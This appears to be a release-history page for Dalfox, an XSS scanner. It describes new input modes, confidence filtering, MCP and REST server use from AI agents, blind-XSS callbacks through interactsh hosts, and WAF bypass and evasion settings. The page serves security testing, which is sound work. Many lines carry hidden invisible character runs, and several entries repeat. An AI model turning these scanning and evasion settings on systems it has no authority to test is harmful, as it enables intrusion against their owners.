Is a stored or blind XSS firing somewhere I can't see the response?

sends payloads that call back to an interactsh server, catching stored, asynchronous, and non-reflecting sinks that a synchronous scan would miss

Will this payload actually get through the WAF sitting in front of my target?

fingerprints the WAF with a confidence score and applies bypass mutations, including encoding tricks and inspection-window positioning tuned to what was detected

Are any of the front-end libraries this site loads known to be vulnerable?

fetches same-origin script bundles, runs them through AST analysis for DOM-XSS sinks, and separately flags outdated library versions as informational findings

Can this scan run as part of my CI pipeline and fail the build on real findings?

exits with distinct codes for clean, findings, and error states, and exports results as SARIF, Markdown, JSON, or TOML for direct pipeline consumption

Which stage of the scan should I trust when deep scan is enabled?

runs the same preflight probe regardless of scan depth, so WAF fingerprinting, CSP-bypass, technology detection, and DOM-XSS analysis all execute before the deeper payload pass begins

Dalfox release history — The Cyber Toolchain

docs update Oct 10, 2026 · issue 101

Dalfox adds OpenAPI/Postman input modes, --min-confidence filtering, --base-url, URL allow/exclude regex flags, and SARIF output.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

└──▷ TRY IT

Crawl a target for XSS candidates while skipping logout and session-destroy endpoints to avoid side-effects.

$ dalfox url https://example.com --exclude-url /logout --exclude-url /session/destroy

Adds openapi input mode supporting OpenAPI 3.x / Swagger 2.0 in JSON or YAML format, letting Dalfox drive scans directly from API specs.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
Adds postman input mode supporting Postman Collection v2.1, letting Dalfox drive scans from exported Postman collections.
Adds --base-url flag (required for openapi and postman modes) to set the scheme, host, port, and path prefix for all requests; must be an absolute http(s) URL.
Adds --min-confidence flag accepting low or high to filter detection results by confidence level — high gates only high-confidence findings, low retains all results including uncertain AST-flow detections.
Adds -f sarif output format for reporting findings as SARIF.

+4 more show less

Adds URL allow-list regex flag to scan only URLs matching a given pattern (partial match, repeatable; also applied to discovered form actions and scripts).
Adds URL exclude regex flag to skip URLs matching a given pattern (partial match, repeatable; also applied to discovered form actions and scripts, e.g. --exclude-url /logout avoids touching logout forms).
Adds discovery-only mode that crawls and plans without sending XSS payloads.
Adds deduplication of requests where URL, method, and body are identical.

9 details in Everything

docs update Oct 10, 2026 · issue 101

Dalfox MCP scan jobs gain session-loss detection (session_check, session_check_url), confidence filtering (min_confidence), a warnings result field, and a ~2000-finding cap with partial-results marking.

Adds session_check and session_check_url to MCP scan jobs for session-loss detection; an expired session causes the scan to settle rather than report clean.
Adds min_confidence to MCP scan jobs to drop low-confidence findings from results and findings_so_far; omitting the field keeps all findings.
Adds a warnings list to MCP scan results for non-fatal conditions such as OAST registration failure, session baseline capture failure, or parameter-cap hits.
Caps MCP scan jobs at approximately 2000 findings per reflecting-payload scan, marking results as partial when the cap is reached.

4 details in Everything

New detection OAST blind XSS detection via managed interactsh channel

docs update Oct 10, 2026 · issue 101

Dalfox: Adds min_confidence job option to filter low-confidence results server-side, equivalent to CLI's --min-confidence flag.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

└──▷ TRY IT

Submit a server-mode scan job with OOB detection and confidence filtering to surface only high-confidence findings including blind XSS callbacks.

$ curl -X POST https://<dalfox-server>/api/scan \
  -H 'Content-Type: application/json' \
  -d '{
    "target": "https://app/page",
    "min_confidence": "high",
    "blind_oob": ["oast.fun", "oast.me"],
    "blind_oob_wait": 30
  }'

Enable session-loss detection on an authenticated scan so Dalfox aborts and flags the result if the session expires mid-scan.

$ curl -X POST https://<dalfox-server>/api/scan \
  -H 'Content-Type: application/json' \
  -d '{
    "target": "https://app/page",
    "session_check": "Sign out",
    "session_check_url": "https://app/me"
  }'

Adds blind_oob job option for managed OAST (interactsh) out-of-band detection in server/MCP mode: pass true for the public mesh or a list of hosts (e.g. ["oast.fun","oast.me"]), correlating each callback to its payload and promoting it to a V finding with detection_method: 'oob'.

1 detail in Everything

docs update Oct 10, 2026 · issue 101

Dalfox adds --min-confidence to filter low-confidence XSS findings before output, exit codes, and deduplication.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

└──▷ TRY IT

Fail CI only on high-confidence XSS findings, silently dropping speculative results before they reach the exit code or report.

$ dalfox url https://example.com --min-confidence high

Set confidence filtering persistently in the Dalfox config file so every scan run from this config skips low-confidence findings.

yaml

min_confidence: high

Adds --min-confidence high CLI flag to drop low-confidence findings before output, exit codes, per-target counts in target_summary, and deduplication.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
Adds min_confidence key to the config file, REST API, and MCP to apply the same confidence filter declaratively.
Adds meta.min_confidence field reporting {level, dropped} in results, so a clean target filtered by confidence can be distinguished from one that found nothing.
SARIF output places the confidence grade under properties; SARIF level continues to follow severity.

Adds --min-confidence high CLI flag to drop low-confidence findings before output, exit codes, per-target counts in target_summary, and deduplication.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
Adds min_confidence key to the config file, REST API, and MCP to apply the same confidence filter declaratively.
Adds meta.min_confidence field reporting {level, dropped} in results, so a clean target filtered by confidence can be distinguished from one that found nothing.

1 more in Everything

docs update Oct 10, 2026 · issue 101

Dalfox 3.2.4 adds --min-confidence filtering and a per-character probe disposition field to findings output.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

└──▷ TRY IT

Gate CI on only high-confidence XSS findings so low-signal results don't block the pipeline — filtered targets still report a distinct envelope field so nothing looks untested.

$ dalfox scan https://target.app --min-confidence high

Adds --min-confidence high flag to drop low-confidence findings before output, exit-code evaluation, and display cutoffs, with meta.min_confidence: {"level": "high", "dropped": N} written to the JSON/JSONL envelope so filtered-clean targets are never mistaken for untested ones.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
Adds a per-finding character-disposition field showing how each probed special character was treated — allowed (reflected raw), encoded (HTML entity or %HH), blocked (stripped), or escaped (backslash-escaped) — present on reflection and DOM-verification findings; omitted on AST, HPP, stored, and OOB findings.
Emits a Warning: to stderr naming any flag that silently switches off output when passed on the command line.

3 details in Everything

docs update Oct 10, 2026 · issue 101

Dalfox adds OpenAPI 3.x, Swagger 2.0, and Postman Collection scanning via -i openapi and -i postman flags⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

└──▷ TRY IT

Scan every endpoint in an OpenAPI spec against a staging environment instead of the production server listed in the spec.

$ dalfox scan -i openapi openapi.yaml --base-url https://staging.example.com

Pipe an OpenAPI JSON spec directly into Dalfox in a CI pipeline without writing a temp file.

$ cat openapi.json | dalfox scan -i openapi

Scan a Postman Collection export, redirecting all requests to a staging host to avoid hitting production.

$ dalfox scan -i postman api.postman_collection.json --base-url https://staging.example.com

Adds -i openapi flag to scan every endpoint defined in an OpenAPI 3.x (JSON or YAML) or Swagger 2.0 spec, building targets from paths, methods, query/header/cookie parameters, and request bodies (JSON, form, multipart, XML).⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
Adds -i postman flag to scan every request in a Postman Collection v2.1 export, resolving {{variables}} from the collection's variable list and mapping raw, urlencoded, formdata, and graphql body modes.
Adds --base-url flag to redirect OpenAPI or Postman scans to a different deployment (e.g. staging), replacing the spec's scheme, host, and port while preserving the server path.
Supports piping specs into the scanner (cat openapi.json | dalfox scan -i openapi), consistent with other input modes.
Deduplicates imported targets by URL + method + body, so two POSTs to the same URL with different bodies are both scanned while entries differing only in headers or cookies collapse.

+1 more show less

Enforces a file size cap (INPUT_TOO_LARGE) and guards against hostile specs with deeply nested or cyclic $ref schemas; only local #/components/... references are followed.

6 details in Everything

docs update Oct 10, 2026 · issue 101

Dalfox: Adds openapi and postman scan modes accepting OpenAPI 3.x / Swagger 2.0 (JSON or YAML) and Postman Collection v2.1 as input targets.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

└──▷ TRY IT

Crawl a target but exclude logout and session-destroy paths to avoid invalidating the test session mid-scan.

$ dalfox url https://app.example.com --exclude-url /logout --exclude-url /session/destroy

Supports loading cookies from a raw HTTP request file, replacing same-named cookies from other sources; an unreadable or missing file is fatal.

1 detail in Everything

docs update Oct 9, 2026 · issue 098

Dalfox: Adds --min-confidence flag to filter output by detection confidence level.

└──▷ TRY IT

Scan an OpenAPI spec against a staging server, surfacing only high-confidence XSS findings to reduce noise in CI.

$ dalfox openapi ./api-spec.yaml --base-url https://staging.example.com/api/v3 --min-confidence high

Scan a Postman collection scoped to a specific base URL, skipping health-check and metrics endpoints.

$ dalfox postman ./collection.json --base-url https://api.example.com

Adds a URL-allow regex flag that restricts scanning to URLs matching at least one supplied pattern (partial match; repeatable; invalid regex is a startup error).
Adds a URL-skip regex flag that skips URLs matching any supplied pattern (partial match; repeatable; invalid regex is a startup error).

2 details in Everything

docs update Oct 9, 2026 · issue 098

Dalfox: Adds min_confidence field to server/MCP job config to filter findings by confidence grade, equivalent to CLI's --min-confidence.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

└──▷ TRY IT

Submit a server-mode scan job that drops low-confidence noise, enables managed OOB callback correlation, and detects session expiry mid-scan.

$ curl -X POST https://dalfox-server/scan \
  -H 'Content-Type: application/json' \
  -d '{
    "target": "https://app/search?q=FUZZ",
    "min_confidence": "high",
    "blind_oob": true,
    "blind_oob_wait": 30,
    "session_check": "Logged in as",
    "session_check_url": "https://app/me"
  }'

Use specific OOB servers instead of the public mesh so callbacks stay within your controlled infrastructure.

$ curl -X POST https://dalfox-server/scan \
  -H 'Content-Type: application/json' \
  -d '{
    "target": "https://app/search?q=FUZZ",
    "blind_oob": ["oast.fun", "oast.me"],
    "blind_oob_wait": 60
  }'

docs update Oct 9, 2026 · issue 098

Dalfox: Surfaces --scan-timeout cut-short status on targets, distinguishing a timed-out target with no findings from a clean target in output and exit codes.

└──▷ TRY IT

Filter out low-confidence XSS findings in CI so only high-confidence hits trigger a pipeline failure.

$ dalfox scan https://target.app --min-confidence high

docs update Oct 9, 2026 · issue 098

Dalfox adds OpenAPI 3.x, Swagger 2.0, and Postman Collection scanning via -i openapi / -i postman⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

└──▷ TRY IT

Scan every endpoint in an OpenAPI spec against a staging environment instead of the production server listed in the spec.

$ dalfox scan -i openapi openapi.yaml --base-url https://staging.example.com

Feed a Postman collection export into Dalfox to XSS-test every captured API request, overriding the collection's host with a test deployment.

$ dalfox scan -i postman api.postman_collection.json --base-url https://test.example.com

Pipe an OpenAPI spec directly from stdout into Dalfox — useful when the spec is generated on the fly in a CI pipeline.

$ cat openapi.json | dalfox scan -i openapi

Adds dalfox scan -i openapi to scan every endpoint defined in an OpenAPI 3.x (JSON or YAML) or Swagger 2.0 spec, automatically building URLs, path/query/header/cookie parameters, and request bodies (JSON, form, multipart, XML) as injection targets.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
Adds dalfox scan -i postman to scan every request in a Postman Collection v2.1 export, resolving {{variables}} from the collection's variable list and mapping raw, urlencoded, formdata, and graphql body modes.
Deduplicates scan targets across HAR, raw HTTP, OpenAPI, and Postman modes by URL + method + body, so two POSTs to the same URL with different bodies are both scanned while entries differing only in headers or cookies collapse.
Supports piping a spec file into OpenAPI mode (e.g., cat openapi.json | dalfox scan -i openapi) for use in shell pipelines.
Fails with PARSE_ERROR only when the document is not a recognisable spec or contains nothing scannable, treating individual bad operations as non-fatal skips.

Adds dalfox scan -i openapi to scan every endpoint defined in an OpenAPI 3.x (JSON or YAML) or Swagger 2.0 spec, automatically building URLs, path/query/header/cookie parameters, and request bodies (JSON, form, multipart, XML) as injection targets.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
Adds dalfox scan -i postman to scan every request in a Postman Collection v2.1 export, resolving {{variables}} from the collection's variable list and mapping raw, urlencoded, formdata, and graphql body modes.
Supports piping a spec file into OpenAPI mode (e.g., cat openapi.json | dalfox scan -i openapi) for use in shell pipelines.
Fails with PARSE_ERROR only when the document is not a recognisable spec or contains nothing scannable, treating individual bad operations as non-fatal skips.

1 more in Everything

docs update Oct 9, 2026 · issue 098

Dalfox: Adds URL exclude-regex filtering: repeat the flag for multiple patterns; any matching URL is skipped; an invalid regex is a startup error.

└──▷ TRY IT

Scan an OpenAPI spec against a staging server, suppressing low-confidence noise so only high-confidence XSS findings fail CI.

$ dalfox openapi ./api-spec.yaml --base-url https://staging.example.com --min-confidence high

docs update Oct 9, 2026 · issue 098

Dalfox adds OpenAPI/Postman input modes, --min-confidence filtering, and --base-url for spec-driven scans⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

└──▷ TRY IT

Scan an OpenAPI spec hosted remotely, pointing Dalfox at your staging base URL so every path in the spec gets exercised

$ dalfox openapi https://example.com/openapi.yaml --base-url https://staging.example.com/api/v3

Scan a Postman collection and fail CI only on high-confidence XSS findings, ignoring uncertain AST-flow results

$ dalfox postman ./collection.json --base-url https://api.example.com --min-confidence high

Adds openapi input mode supporting OpenAPI 3.x / Swagger 2.0 (JSON or YAML) as a scan target source⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
Adds postman input mode supporting Postman Collection v2.1 as a scan target source
Adds --base-url flag for openapi and postman modes to set the scheme, host, port, and path prefix for all requests in a spec (must be an absolute http(s) URL)
Adds --min-confidence flag to filter scan results by confidence level (low retains all; high gates on high-confidence findings only, dropping low-rated detections and uncertain AST-flow results before printing target_summary, counts, and exit code)

4 details in Everything

docs update Oct 9, 2026 · issue 098

Dalfox: Adds min_confidence config key to drop low-confidence findings before output and the exit code; setting it to high suppresses low-confidence results.

└──▷ USE IT

Scan an OpenAPI spec against a staging host, suppressing low-confidence noise so only high-confidence XSS findings affect the exit code.

toml

# dalfox config file
mode = "openapi"
base_url = "https://staging.example.com"
min_confidence = "high"

docs update Oct 9, 2026 · issue 098

Dalfox MCP gains blind_oob_wait polling tuning, session_check/session_check_url session-loss detection, min_confidence result filtering, and a warnings list for non-fatal scan conditions.

New detectionAdds blind_oob_wait parameter to tune how long OAST polling continues after the scan's last request.
Adds session_check and session_check_url parameters for session-loss detection without cookies; invalid regex or non-http(s) URL is an error.
Adds min_confidence parameter — set to "low" to drop low-confidence findings from results and findings_so_far.
Adds a warnings list to scan results for non-fatal conditions such as OAST registration failure or a missed session baseline.
Caps reflective (A) scans at approximately 2000 findings and marks results as partial when the limit is reached.

5 details in Everything

docs update Oct 9, 2026 · issue 098

Dalfox: Adds min_confidence job option to filter findings by confidence level, equivalent to CLI's --min-confidence flag.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

└──▷ USE IT

Submit a job with high-confidence-only results and OAST OOB detection across two public interactsh servers to catch blind XSS callbacks.

json

{
  "url": "https://app/search?q=test",
  "max_payloads_per_param": 0,
  "min_confidence": "high",
  "blind_oob": ["oast.fun", "oast.me"],
  "blind_oob_wait": 30
}

Enable session-loss detection on an authenticated scan so an expired session is flagged rather than returning a misleading zero-finding result.

json

{
  "url": "https://app/dashboard?ref=test",
  "session_check": "Sign out",
  "session_check_url": "https://app/me",
  "min_confidence": "low"
}

Adds blind_oob job option (server/MCP equivalent of --blind-oob) to enable managed OAST via interactsh — accepts true for the public mesh or a list of hosts such as ["oast.fun","oast.me"]; callbacks are correlated to their triggering payload and surfaced as V findings with detection_method: "oob".

1 detail in Everything

└──▷ BREAKING ON UPGRADE

!Scans abandoned at shutdown (on SIGINT/SIGTERM) do not fire a completion webhook — any pipeline relying on a webhook for every scan must handle missing completion events.

docs update Oct 9, 2026 · issue 098

Dalfox adds --min-confidence to filter low-confidence XSS findings before output, exit code, and deduplication.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

└──▷ TRY IT

Fail CI only on high-confidence XSS claims, silently dropping uncertain findings before they affect the exit code or reports.

$ dalfox url https://example.com --min-confidence high

Set the confidence threshold project-wide via the config file so every scan run without a flag still filters low-confidence findings.

yaml

min_confidence: high

Adds --min-confidence high CLI flag to drop every finding Dalfox cannot stand behind before output, exit code, per-target counts in target_summary, and deduplication.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
Adds min_confidence key to the config file, REST API, and MCP to set the confidence threshold globally.
Adds meta.min_confidence field reporting {level, dropped} so a target filtered to zero findings can be distinguished from one that found nothing.
SARIF output places the confidence grade under properties while level continues to follow severity.

Adds --min-confidence high CLI flag to drop every finding Dalfox cannot stand behind before output, exit code, per-target counts in target_summary, and deduplication.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
Adds min_confidence key to the config file, REST API, and MCP to set the confidence threshold globally.
Adds meta.min_confidence field reporting {level, dropped} so a target filtered to zero findings can be distinguished from one that found nothing.

1 more in Everything

docs update Oct 9, 2026 · issue 098

Dalfox: Adds per-finding allowed, encoded, blocked, and escaped fields to reflection and DOM-verification findings showing how each probed special character was

└──▷ TRY IT

Gate CI on only high-confidence XSS findings — useful when you want to fail a pipeline only on findings Dalfox is most certain about and silently drop speculative results.

$ dalfox scan https://target.app --min-confidence high

docs update Oct 9, 2026 · issue 098

└──▷ TRY IT

Scan an OpenAPI spec against a staging host, only surfacing high-confidence XSS findings to reduce noise in CI.

$ dalfox openapi ./api-spec.yaml --base-url https://staging.example.com --min-confidence high

Scan a Postman collection against a local dev server, routing all requests through its base URL.

$ dalfox postman ./collection.json --base-url http://127.0.0.1:8080

docs update Oct 4, 2026 · issue 094

Dalfox gains a REST API server, MCP server, Caido integration, and AI agent skill for XSS scanning⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Runs Dalfox as a REST API server supporting async scan jobs, polling, cancellation, CORS, JSONP, webhook delivery, and API key authentication.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
Runs Dalfox as an MCP server, enabling use as a structured XSS scanning tool from MCP clients such as Claude and Cursor.
Integrates Dalfox with Caido Active Workflows and Findings to automate XSS checks on captured requests.
Installs a SKILL.md for Dalfox into skill-aware agents including Claude Code, Cursor, OpenCode, and Codex.

4 details in Everything

docs update Sep 25, 2026 · issue 085

Dalfox adds MCP support and a SKILL.md for skill-aware AI agents such as Claude Code, Cursor, OpenCode, and Codex.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

docs update Sep 25, 2026 · issue 085

Dalfox gains a persistent config file (~/.config/dalfox/config.toml or .json) covering all scan flags, scoping rules, and WAF evasion settings.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

└──▷ USE IT

Persist WAF-evasion, scoping, and proxy settings for every scan without repeating flags on the CLI.

~/.config/dalfox/config.toml

# $HOME/.config/dalfox/config.toml
[scan]
proxy = "http://127.0.0.1:8080"
waf_evasion = true
force_waf = "cloudflare"
delay = 200
workers = 10
skip_hosts = ["*.gov", "cdn.example.com"]
ignore_status_codes = [302, 403]
headers = ["Accept: text/html", "X-Custom: value"]

Run only against URLs matching a regex scope and skip known out-of-scope hosts, using a pre-existing baseline to surface only net-new findings.

~/.config/dalfox/config.toml

# $HOME/.config/dalfox/config.toml
[scan]
include_urls = ["https://app\\.example\\.com/.*"]
skip_hosts_file = "/etc/dalfox/oos-hosts.txt"
baseline = "/tmp/last-run.json"
print_found = true
limit = 100

Override the default config path for a one-off scan with a project-specific config file.

$ dalfox scan https://app.example.com/search?q=test --config ./project-dalfox.toml

Adds ~/.config/dalfox/config.toml (or config.json) as a persistent config file, auto-created with a commented template on first run of any subcommand except completion and man.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
Supports $XDG_CONFIG_HOME/dalfox/ as the config directory when XDG_CONFIG_HOME is set, falling back to $HOME/.config/dalfox/ (or %USERPROFILE%\.config\dalfox\ on Windows).
Accepts --config <path> to point Dalfox at a specific config file; a non-existent path is created from a default template and the run uses built-in defaults.
Config file mirrors dalfox scan flag names (snake-cased); the one rename is --blind / -b, whose config key is blind, and the global --debug flag maps to the debug key.
Adds blind_oob config key as a dedicated probe URL for re-validation (absolute http(s):// URL).

+27 more show less

Adds force_waf config key to treat the target as a specific WAF instead of relying on detection (case-insensitive, same names as --force-waf).
Adds waf_evasion config key for adaptive evasion: randomized inter-request jitter plus escalating cooldown on block clusters.
Adds skip_params config key (exact match) to exclude specific parameter names from injection.
Adds skip_hosts config key supporting glob patterns (*.gov, cdn.example.com) to exclude hosts or subdomains from scanning.
Adds skip_hosts_file config key pointing to a file of out-of-scope host patterns (one per line); an unreadable path aborts the scan.
Adds include_urls config key for unanchored regex patterns — only URLs matching at least one are scanned.
Adds exclude_urls config key for unanchored regex patterns of URLs to skip.
Adds baseline config key to diff results against a previous JSON/JSONL report, reporting only findings new since it.
Adds timeout config key (seconds) covering both request timeouts and remote payload/wordlist fetches.
Adds target_timeout config key as a hard wall-clock cap per target for the payload-injection stage in seconds (max enforced; 0 disables).
Adds delay config key for inter-request delay in milliseconds per worker.
Adds retries config key for exponential-backoff retry attempts.
Adds proxy config key supporting http(s):// and socks4/5(h):// proxy URLs, also used for remote payload/wordlist fetches.
Adds ignore_status_codes config key accepting a list of HTTP status codes to ignore (e.g. [302, 403]).
Adds workers config key for concurrent workers per target.
Adds concurrent config key for global concurrent targets.
Adds per_host config key for a per-host concurrency cap.
Adds encoders config key supporting 2url, 3url, 4url, html, htmlpad, base64, unicode, and zwsp encoders.
Adds remote_payloads config key supporting portswigger and payloadbox remote payload sources.
Adds blind_template config key for a custom blind XSS template file (each line must contain {callback}).
Adds custom_payload config key for a custom payload file (one payload per line).
Adds only_custom_payload config key to restrict scanning exclusively to custom payloads.
Adds print_found config key to print each finding mid-scan instead of after the end-of-scan summary (plain format only).
Adds limit config key to cap result count (must be at least 1; limit = 0 falls back to built-in default with a warning).
Config files are capped at 1 MiB; files that fail to parse are dropped whole, with a warning printed when --config is used.
A list key in the config (e.g. headers) is replaced, not merged, by a command-line flag: one -H on the CLI drops every headers entry from the config.
Supports --insecure=false on the CLI to override a config file that sets insecure = true — the only on/off switch that can be turned back off per-run.

32 details in Everything

docs update Sep 25, 2026 · issue 085

Dalfox: Adds _meta.progressToken support on wait=true calls and preflight, streaming notifications/progress with cumulative requests sent, phase, parameters tested, and findings so far.

└──▷ TRY IT

Run a preflight check to discover parameters and estimate request count before committing to a full authenticated scan.

$ curl -X POST http://localhost:<port>/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"preflight","arguments":{"target":"https://example.com/search","cookie":"sid=abc; lang=en"}}}'

Submit an async scan, then poll the addressable resource URI until settled is true before fetching final findings.

$ # Submit scan
curl -X POST http://localhost:<port>/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"scan","arguments":{"target":"https://example.com/search","cookie":"sid=abc; lang=en"}}}

# Poll via resource URI until settled: true
curl -X POST http://localhost:<port>/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":3,"method":"resources/read","params":{"uri":"dalfox://scan/<scan_id>"}}'

List only running scans with pagination to monitor queue depth when approaching the 100-scan capacity limit.

$ curl -X POST http://localhost:<port>/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"list_scans","arguments":{"status":"running","offset":0,"limit":20}}}'

Supports notifications/cancelled on in-flight wait=true calls to stop the underlying scan itself (not just the wait), settling it with partial results.
Publishes outputSchema in tools/list and returns a structuredContent object from tools/call conforming to it, alongside the existing text content block.
Adds dalfox://scans and dalfox://scan/{scan_id} resource URIs so scan status, progress, and findings are addressable directly rather than only callable.
Adds a requests_failed field to scan status responses counting requests that never reached the target, distinguishing a clean scan from one that never really ran.
Adds queued_at_ms, started_at_ms, finished_at_ms, and duration_ms timestamps to full status responses, plus a settled flag indicating when a terminal record is safe to delete.

+6 more show less

Adds status filter and offset/limit pagination (with has_more) to the scan list tool; limit: 0 (default) returns everything.
Enforces capacity limits of 100 active (queued or running) scans and 32 concurrent preflights; calls past either limit are refused with a JSON-RPC error.
Truncates scans to at most 512 parameters on targets that expose more, ending the scan as done with the truncated set.
Deliberately excludes callback_url (REST webhook) and --cookie-from-raw / cookie_from_raw (server-side file read) from the MCP surface; passing either is an error.
The preflight tool accepts credentials and target but refuses pacing, worker, WAF-handling, blind XSS, and wait options — returning reachability, discovered parameters, and an estimated request count in {target, reachable, method, params_discovered, estimated_total_requests, params}.
Identifies the MCP server as dalfox (display title Dalfox XSS Scanner) during initialize, advertising tools, resources, prompts, and completions capabilities along with instructions covering tool order, finding axes, and provenance rules.

11 details in Everything

docs update Sep 25, 2026 · issue 085

Dalfox documents structured output formats, new output flags, and enriched JSON/JSONL/SARIF report fields including request/response capture⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

└──▷ TRY IT

Capture the full HTTP request and response in a JSONL report so you can replay or audit exactly what Dalfox sent — pipe through jq to isolate High-severity findings only.

$ dalfox scan https://target.app -f jsonl --include-all -o findings.jsonl && jq 'select(.severity=="High")' findings.jsonl

Stream findings to stdout as they arrive and show only Vulnerable-tier results, useful in CI pipelines where you want early failure on confirmed XSS.

$ dalfox scan https://target.app --stream-findings --only-poc v --silence -f jsonl

Generate a PoC in raw HTTP-request format for a confirmed finding, making it easy to paste directly into a bug report or replay with a proxy.

$ dalfox scan https://target.app --poc-type http-request --only-poc v

Adds -f json and -f jsonl output format flags; JSON writes one envelope document with findings under findings, JSONL writes one object per line with {"meta": {…}} as the first line and one finding per subsequent line.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
Adds -f toml output format flag for TOML-formatted scan reports.
Adds --include-request flag to embed the verbatim HTTP request Dalfox sent (including all -H headers and cookies) into each finding in structured output.
Adds --include-response flag to embed the HTTP response into each finding in structured output.
Adds --include-all flag as a shorthand to enable both --include-request and --include-response in a single invocation.

+13 more show less

Adds --stream-findings flag to emit findings incrementally as they are discovered rather than at scan completion.
Adds --poc-type flag accepting curl, httpie, or http-request to control the PoC line format in terminal output; http-request prints the raw recorded request and falls back to the URL when none is available.
Adds --only-poc flag accepting tier codes (v, a, and combinations like v,a) to suppress output for findings below the selected tiers.
Adds --silence flag to suppress banner and non-finding output, usable alongside -f jsonl for clean pipeline consumption.
Adds --no-color flag to strip ANSI color codes from terminal output.
Adds --limit flag to cap the number of findings emitted.
Structured JSON/JSONL output now includes confidence and confidence_reason fields (e.g., 'payload reached an executable position in the parsed response') per finding.
Structured JSON/JSONL output now includes a cwe field per finding and a meta envelope with dalfox_version, dedup_mode, failed_requests, findings_count, incomplete, scan_duration_ms, target_summary, targets, and targets_deduplicated.
Structured JSON/JSONL output now includes inject_type labels covering sxss-inHTML (under --sxss), inHTML-HPP, DOM-XSS (AST), blind-oob-<location>-<protocol>, and OutdatedComponent.
Structured output includes location field indicating where a parameter travels: Query, Body, JsonBody, MultipartBody, GraphqlBody, XmlBody, Header, Path, or Fragment.
SARIF output sets ruleId to dalfox/cwe-<n> (e.g., dalfox/cwe-79 for XSS, dalfox/cwe-1104 for outdated libraries), maps severity to SARIF level (High → error, Medium → warning, Low/Info → note), and includes partialFingerprints["vulnIdentity/v1"] as a stable cross-run hash for code-scanning deduplication.
JSON/JSONL meta block gains resume fields state_file and targets_skipped_completed when --state-file was used, and targets_unparsable when target-list lines could not be parsed.
JSON/JSONL target_summary per-target entries include waf object (with detected[] and a bypass block showing extra encoders, mutation counts, and requests sent/blocked) when a WAF is detected.

Adds -f json and -f jsonl output format flags; JSON writes one envelope document with findings under findings, JSONL writes one object per line with {"meta": {…}} as the first line and one finding per subsequent line.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
Adds -f toml output format flag for TOML-formatted scan reports.
Adds --include-request flag to embed the verbatim HTTP request Dalfox sent (including all -H headers and cookies) into each finding in structured output.
Adds --include-response flag to embed the HTTP response into each finding in structured output.
Adds --include-all flag as a shorthand to enable both --include-request and --include-response in a single invocation.

+6 more show less

Adds --stream-findings flag to emit findings incrementally as they are discovered rather than at scan completion.
Adds --poc-type flag accepting curl, httpie, or http-request to control the PoC line format in terminal output; http-request prints the raw recorded request and falls back to the URL when none is available.
Adds --only-poc flag accepting tier codes (v, a, and combinations like v,a) to suppress output for findings below the selected tiers.
Adds --silence flag to suppress banner and non-finding output, usable alongside -f jsonl for clean pipeline consumption.
Adds --no-color flag to strip ANSI color codes from terminal output.
Adds --limit flag to cap the number of findings emitted.

7 more in Everything

docs update Sep 25, 2026 · issue 085

Dalfox gains WAF fingerprinting, bypass strategies, and evasion controls via new flags including --waf-bypass, --force-waf, --skip-waf-probe, --waf-evasion, and --waf-min-confidence⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

└──▷ TRY IT

